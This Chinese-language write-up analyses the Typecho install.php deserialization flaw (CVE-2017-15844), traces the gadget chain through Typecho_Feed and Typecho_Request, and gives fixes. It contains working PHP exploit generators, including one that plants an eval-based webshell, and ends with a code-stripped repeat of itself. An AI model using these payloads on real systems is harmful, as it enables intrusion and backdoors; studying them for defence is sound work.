Typecho反序列化漏洞分析
字数 913 2025-08-05 12:50:18

Typecho反序列化漏洞分析与利用

漏洞概述

Typecho是一款轻量级的开源博客系统,在2017年10月24日之前的所有版本中存在一个反序列化漏洞(CVE-2017-15844),攻击者可以通过精心构造的序列化数据实现远程代码执行。

影响范围

  • 2017年10月24日之前的所有Typecho版本

环境搭建

  1. 下载受影响版本(如1.0.14)
  2. 手动创建Typecho数据库
  3. 安装Typecho系统

漏洞分析

漏洞入口点

漏洞位于install.php文件的第246行:

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

这里从cookie中获取__typecho_config值,进行base64解码后反序列化。

关键调用链

  1. 反序列化触发点

    • install.php中的unserialize()调用
    • 通过Typecho_Cookie::get()获取可控输入
  2. Typecho_Db类实例化

    $installDb = new Typecho_Db($config['adapter'], $config['prefix']);
    
    • $config['adapter']完全可控
  3. __toString()触发

    • $config['adapter']设置为一个对象时,会调用该对象的__toString()方法
  4. 魔术方法调用链

    install.php::__typecho_config 
    => Db.php::Typecho_Db 
    => Feed.php::Typecho_Feed::__toString() 
    => Request.php::Typecho_Request::__get() 
    => Request.php::get() 
    => Request.php::applyFilter() 
    => call_user_func()
    

关键魔术方法

  1. __toString()

    • Typecho_Feed类中定义
    • 当对象被当作字符串使用时自动调用
  2. __get()

    • Typecho_Request类中定义
    • 当访问不可访问属性时自动调用
  3. 最终利用点

    • call_user_func()函数,通过可控的$_filter$_params实现任意代码执行

漏洞利用

基本利用POC

<?php
class Typecho_Request{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this->_filter[0]='assert';
        $this->_params['sceenName']='phpinfo()';
    }
}

class Typecho_Feed{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
    public function __construct(){
        $this->_type = self::RSS2;
        $this->_items['0']=array(
            'author'=>new Typecho_Request(),
        );
    }
}

$a = new Typecho_Feed();
$b = array(
    'adapter' => $a,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($b)));
?>

绕过500错误的方法

  1. 方法一:通过设置数组控制第二次执行的函数并触发exit
  2. 方法二:在命令执行后造成报错强制停止执行

写入Webshell的POC

<?php
class Typecho_Request
{
    private $_filter = array();
    private $_params = array();

    public function __construct(){
        $this->_filter[0] = 'assert';
        $this->_params['screenName'] = 'file_put_contents("shell.php", "<?php @eval(\$_POST[w0s1np]); ?>")';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
    public function __construct(){
        $this->_type = self::RSS2;
        $this->_items[0] = array(
            'author' => new Typecho_Request(),
        );
    }
}

$final = new Typecho_Feed();
$poc = array(
    'adapter' => $final,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($poc)));
?>

修复建议

  1. 升级到最新版本的Typecho
  2. 对反序列化的输入进行严格校验
  3. 在安装完成后删除install.php文件

总结

该漏洞利用链复杂但有效,通过精心构造的反序列化数据,攻击者可以实现远程代码执行。漏洞的关键在于Typecho对用户输入的反序列化操作缺乏足够的安全检查,以及多个魔术方法的配合使用形成了完整的攻击链。

Typecho反序列化漏洞分析与利用 漏洞概述 Typecho是一款轻量级的开源博客系统,在2017年10月24日之前的所有版本中存在一个反序列化漏洞(CVE-2017-15844),攻击者可以通过精心构造的序列化数据实现远程代码执行。 影响范围 2017年10月24日之前的所有Typecho版本 环境搭建 下载受影响版本(如1.0.14) 手动创建Typecho数据库 安装Typecho系统 漏洞分析 漏洞入口点 漏洞位于 install.php 文件的第246行: 这里从cookie中获取 __typecho_config 值,进行base64解码后反序列化。 关键调用链 反序列化触发点 : install.php 中的 unserialize() 调用 通过 Typecho_Cookie::get() 获取可控输入 Typecho_ Db类实例化 : $config['adapter'] 完全可控 __ toString()触发 : 当 $config['adapter'] 设置为一个对象时,会调用该对象的 __toString() 方法 魔术方法调用链 : 关键魔术方法 __ toString() : 在 Typecho_Feed 类中定义 当对象被当作字符串使用时自动调用 __ get() : 在 Typecho_Request 类中定义 当访问不可访问属性时自动调用 最终利用点 : call_user_func() 函数,通过可控的 $_filter 和 $_params 实现任意代码执行 漏洞利用 基本利用POC 绕过500错误的方法 方法一 :通过设置数组控制第二次执行的函数并触发exit 方法二 :在命令执行后造成报错强制停止执行 写入Webshell的POC 修复建议 升级到最新版本的Typecho 对反序列化的输入进行严格校验 在安装完成后删除install.php文件 总结 该漏洞利用链复杂但有效,通过精心构造的反序列化数据,攻击者可以实现远程代码执行。漏洞的关键在于Typecho对用户输入的反序列化操作缺乏足够的安全检查,以及多个魔术方法的配合使用形成了完整的攻击链。